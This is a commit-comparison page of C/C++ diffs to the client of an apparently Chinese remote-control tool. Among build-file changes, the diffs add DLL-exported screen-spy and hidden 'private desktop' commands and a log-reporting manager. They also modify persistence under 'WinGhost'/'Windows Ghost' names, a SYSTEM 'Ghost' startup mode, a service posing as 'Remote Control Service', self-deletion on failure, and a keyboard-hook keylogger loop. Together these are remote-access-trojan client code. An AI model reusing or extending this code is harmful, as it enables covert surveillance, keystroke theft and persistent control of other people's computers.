Compare commits
12 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b97f086c0c | ||
|
|
f24e7acc48 | ||
|
|
0cd7516bde | ||
|
|
a646e0417d | ||
|
|
23c9a4f242 | ||
|
|
85a5774a0f | ||
|
|
f2a95848ce | ||
|
|
f146af121a | ||
|
|
72dcdc5a6f | ||
|
|
8e170cf971 | ||
|
|
6d0b1bb07b | ||
|
|
bcccbefb77 |
@@ -75,6 +75,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
|||||||
return a;
|
return a;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#if _CONSOLE
|
||||||
|
#define DLL_API
|
||||||
|
#else
|
||||||
|
#define DLL_API __declspec(dllexport)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||||||
|
if (!ENABLE_SCREEN || ulLength == 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
szBuffer = bToken; ulLength = 4;
|
||||||
|
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||||||
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||||||
|
if (ulLength > 1) {
|
||||||
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
ThreadInfo m_hThread;
|
||||||
|
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||||||
|
// sub->EnableSubConnAuth();
|
||||||
|
m_hThread.conn = m_conn;
|
||||||
|
m_hThread.p = sub;
|
||||||
|
m_hThread.user = user;
|
||||||
|
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||||||
|
while (m_hThread.p) Sleep(1000);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
case TOKEN_PRIVATESCREEN: {
|
||||||
|
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||||||
|
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||||||
|
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||||||
|
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||||||
|
t.join();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI StartClientApp(LPVOID param)
|
DWORD WINAPI StartClientApp(LPVOID param)
|
||||||
{
|
{
|
||||||
ClientApp::AddCount(1);
|
ClientApp::AddCount(1);
|
||||||
@@ -219,16 +263,24 @@ int main(int argc, const char *argv[])
|
|||||||
licenseInit();
|
licenseInit();
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||||||
|
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||||||
|
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = { nCmd };
|
||||||
|
return RunCommand(buf, 1);
|
||||||
|
}
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||||||
|
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||||||
// 注册启动项
|
// 注册启动项
|
||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
|
|||||||
@@ -181,6 +181,7 @@
|
|||||||
<ClCompile Include="CaptureVideo.cpp" />
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
<ClCompile Include="clang_rt_compat.c" />
|
<ClCompile Include="clang_rt_compat.c" />
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
@@ -197,11 +198,15 @@
|
|||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
<ClCompile Include="RegisterManager.cpp" />
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
<ClCompile Include="RegisterOperation.cpp" />
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="SafeThread.cpp" />
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
<ClCompile Include="ScreenManager.cpp" />
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
<ClCompile Include="ScreenPreview.cpp" />
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
@@ -224,6 +229,7 @@
|
|||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="clip.h" />
|
<ClInclude Include="clip.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
@@ -234,6 +240,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
|||||||
@@ -41,6 +41,10 @@
|
|||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\file_upload.h" />
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
@@ -89,6 +93,10 @@
|
|||||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
<ClInclude Include="EncoderFactory.h" />
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc" />
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
|||||||
44
client/ClientLogManager.cpp
Normal file
44
client/ClientLogManager.cpp
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "ClientLogManager.h"
|
||||||
|
#include "../common/commands.h"
|
||||||
|
#include "../common/logger.h"
|
||||||
|
|
||||||
|
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
|
||||||
|
: CManager(ClientObject, n, p)
|
||||||
|
, m_sentIdx(0)
|
||||||
|
, m_running(true)
|
||||||
|
{
|
||||||
|
SendLogDump();
|
||||||
|
m_pushThread = std::thread([this]() {
|
||||||
|
while (m_running && m_ClientObject->IsConnected()) {
|
||||||
|
for (int i = 0; i < 30 && m_running; ++i)
|
||||||
|
Sleep(100);
|
||||||
|
if (m_running && m_ClientObject->IsConnected())
|
||||||
|
SendLogDump();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
CClientLogManager::~CClientLogManager()
|
||||||
|
{
|
||||||
|
m_running = false;
|
||||||
|
if (m_pushThread.joinable())
|
||||||
|
m_pushThread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
|
||||||
|
SendLogDump();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLogManager::SendLogDump()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_sendMutex);
|
||||||
|
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
|
||||||
|
std::vector<BYTE> pkt(1 + logs.size());
|
||||||
|
pkt[0] = TOKEN_REPORT_LOG;
|
||||||
|
if (!logs.empty())
|
||||||
|
memcpy(pkt.data() + 1, logs.data(), logs.size());
|
||||||
|
Send(pkt.data(), (UINT)pkt.size());
|
||||||
|
}
|
||||||
21
client/ClientLogManager.h
Normal file
21
client/ClientLogManager.h
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
class CClientLogManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
|
||||||
|
~CClientLogManager();
|
||||||
|
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
private:
|
||||||
|
void SendLogDump();
|
||||||
|
|
||||||
|
size_t m_sentIdx;
|
||||||
|
std::mutex m_sendMutex;
|
||||||
|
std::atomic<bool> m_running;
|
||||||
|
std::thread m_pushThread;
|
||||||
|
};
|
||||||
@@ -14,6 +14,7 @@
|
|||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
#include "ProxyManager.h"
|
#include "ProxyManager.h"
|
||||||
|
#include "ClientLogManager.h"
|
||||||
|
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
#include <iniFile.h>
|
#include <iniFile.h>
|
||||||
@@ -69,7 +70,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
|
|||||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||||
ClientObject->SetVerifyInfo(msg, signature);
|
ClientObject->SetVerifyInfo(msg, signature);
|
||||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||||
|
UserParam* user = new UserParam{ new BYTE[3], 3 };
|
||||||
|
memcpy(user->buffer, bToken + 1, 3);
|
||||||
|
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
|
||||||
if (IsWindows8orHigher()) {
|
if (IsWindows8orHigher()) {
|
||||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||||
} else {
|
} else {
|
||||||
@@ -149,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
return LoopManager<CProxyManager, 0>(lParam);
|
return LoopManager<CProxyManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
|
||||||
|
}
|
||||||
|
|||||||
@@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
#include "common/DateVerify.h"
|
#include "common/DateVerify.h"
|
||||||
#include "common/LANChecker.h"
|
#include "common/LANChecker.h"
|
||||||
#include "common/scheduler.h"
|
#include "common/scheduler.h"
|
||||||
|
#include "session.h"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
@@ -795,6 +796,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
|
|||||||
client->Send2Server((char*)&msg, sizeof(msg));
|
client->Send2Server((char*)&msg, sizeof(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
extern "C" bool IsSystemInSession0();
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -807,6 +811,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
std::string publicIP = m_ClientObject->GetClientIP();
|
std::string publicIP = m_ClientObject->GetClientIP();
|
||||||
|
|
||||||
switch (szBuffer[0]) {
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_FORBIDDEN: {
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_QUERY_LOG: {
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth();
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_SET_GROUP: {
|
case CMD_SET_GROUP: {
|
||||||
std::string group = std::string((char*)szBuffer + 1);
|
std::string group = std::string((char*)szBuffer + 1);
|
||||||
m_cfg->SetStr("settings", "group_name", group);
|
m_cfg->SetStr("settings", "group_name", group);
|
||||||
@@ -952,6 +967,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
|
||||||
|
}
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||||
std::string hash = std::string(h, h + 64);
|
std::string hash = std::string(h, h + 64);
|
||||||
@@ -1159,6 +1178,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
|
||||||
|
ServiceWrapper_Uninstall();
|
||||||
|
}
|
||||||
self_del(10);
|
self_del(10);
|
||||||
Mprintf("======> Client uninstall \n");
|
Mprintf("======> Client uninstall \n");
|
||||||
break;
|
break;
|
||||||
@@ -1212,6 +1234,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
|
||||||
|
}
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
|
|||||||
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||||
#else
|
#else
|
||||||
int num = lstrlen(KeyBuffer);
|
int num = lstrlen(KeyBuffer);
|
||||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||||
|
|||||||
@@ -155,6 +155,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
||||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||||
|
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
|
||||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||||
m_ScreenSettings.QualityLevel = quality;
|
m_ScreenSettings.QualityLevel = quality;
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
@@ -470,7 +471,7 @@ void CScreenManager::InitScreenSpy()
|
|||||||
BOOL switchScreen = m_SwitchScreen;
|
BOOL switchScreen = m_SwitchScreen;
|
||||||
if (!(user == NULL || ((int)user) == 1)) {
|
if (!(user == NULL || ((int)user) == 1)) {
|
||||||
UserParam* param = (UserParam*)user;
|
UserParam* param = (UserParam*)user;
|
||||||
if (param) {
|
if (param && param->length>0) {
|
||||||
DXGI = param->buffer[0];
|
DXGI = param->buffer[0];
|
||||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||||
all = param->length > 2 ? param->buffer[2] : all;
|
all = param->length > 2 ? param->buffer[2] : all;
|
||||||
@@ -798,7 +799,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
|
|||||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
||||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
|
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
|
||||||
// 发送目录并准备接收文件
|
// 发送目录并准备接收文件
|
||||||
int len = 1 + folder.length() + files.length() + 1;
|
int len = 1 + folder.length() + files.length() + 1;
|
||||||
char* cmd = new char[len];
|
char* cmd = new char[len];
|
||||||
@@ -862,6 +863,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ClientObject->StopRunning();
|
m_ClientObject->StopRunning();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_SCREEN_SIGNATURE: {
|
||||||
|
SignatureResp resp = { 0 };
|
||||||
|
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
|
||||||
|
if (m_Signature.empty()) {
|
||||||
|
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||||
|
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||||
|
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
|
||||||
|
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_SCREEN_ROI:{
|
case COMMAND_SCREEN_ROI:{
|
||||||
if (ulLength > sizeof(RECT)) {
|
if (ulLength > sizeof(RECT)) {
|
||||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||||
@@ -923,6 +935,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ScreenSettings.RemoteCursor = remoteCursor;
|
m_ScreenSettings.RemoteCursor = remoteCursor;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case CMD_CUSTOM_CURSOR: {
|
||||||
|
int CustomCursor = szBuffer[1];
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetInt("settings", "CustomCursor", CustomCursor);
|
||||||
|
m_ScreenSettings.CustomCursor = CustomCursor;
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_MULTITHREAD_COMPRESS: {
|
case CMD_MULTITHREAD_COMPRESS: {
|
||||||
int threadNum = szBuffer[1];
|
int threadNum = szBuffer[1];
|
||||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||||
|
|||||||
@@ -78,7 +78,7 @@
|
|||||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||||
<IntDir>$(Configuration)\test</IntDir>
|
<IntDir>$(Configuration)\test</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -168,6 +168,7 @@
|
|||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
